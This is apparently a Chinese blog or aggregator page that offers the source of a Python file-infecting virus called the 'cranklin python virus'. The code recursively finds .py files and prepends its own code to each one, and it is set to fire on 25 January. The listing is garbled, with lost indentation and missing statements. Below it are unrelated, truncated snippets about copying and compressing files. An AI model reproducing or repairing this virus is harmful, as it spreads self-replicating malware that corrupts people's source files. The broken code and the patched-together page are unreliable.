python 病毒 檔案複製 python病毒

2021-10-13 05:03:20 字數 1247 閱讀 6656

介紹

原始碼分為3個部分

1、搜尋,搜尋所有的python指令碼

2、取出當前檔案的前39行,也就是這個指令碼的長度,然後將這個指令碼寫道所有找到的python指令碼中去

3、其他行為

#!/usr/bin/python

import os

import datetime

signature = "cranklin python virus"

def search(path):

filestoinfect =

filelist = os.listdir(path)

for fname in filelist:

if os.path.isdir(path+"/"+fname):

filestoinfect.extend(search(path+"/"+fname))

elif fname[-3:] == ".py":

infected = false

for line in open(path+"/"+fname):

if signature in line:

infected = true

break

if infected == false:

return filestoinfect

def infect(filestoinfect):

virus = open(os.path.abspath(__file__))

virusstring = ""

for i,line in enumerate(virus):

if i>=0 and i <39:

virusstring += line

virus.close

for fname in filestoinfect:

f = open(fname)

temp = f.read()

f.close()

f = open(fname,"w")

f.write(virusstring + temp)

f.close()

def bomb():

if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:

filestoinfect = search(os.path.abspath(""))

infect(filestoinfect)

bomb()

Python檔案複製(txt檔案)

功能 這個py指令碼是把乙個txt檔案 原始檔 複製到另乙個txt檔案 目的檔案 裡面 演算法思路 程式首先判斷原始檔 用exists函式判斷 和目的檔案是否存在,如果不存在則輸出檔案路徑不存在,如果存在則先把原始檔讀出來,再寫到目的檔案中去 coding utf 8 from sys import...

Python實現檔案複製

如下 encoding utf 8 本程式實現檔案複製功能 source file open d.txt r encoding utf 8 dst file open e bat.txt a encoding utf 8 a表示追加,如果沒有該檔案則新建它 while true content so...

python 檔案複製壓縮

import os import time 這裡是需要檔案所在的位置 source c my documents c code 轉換完成之後放到的檔案目錄 target dir e backup 判斷有沒有該檔案,沒有就建立乙個 if not os.path.exists target dir os...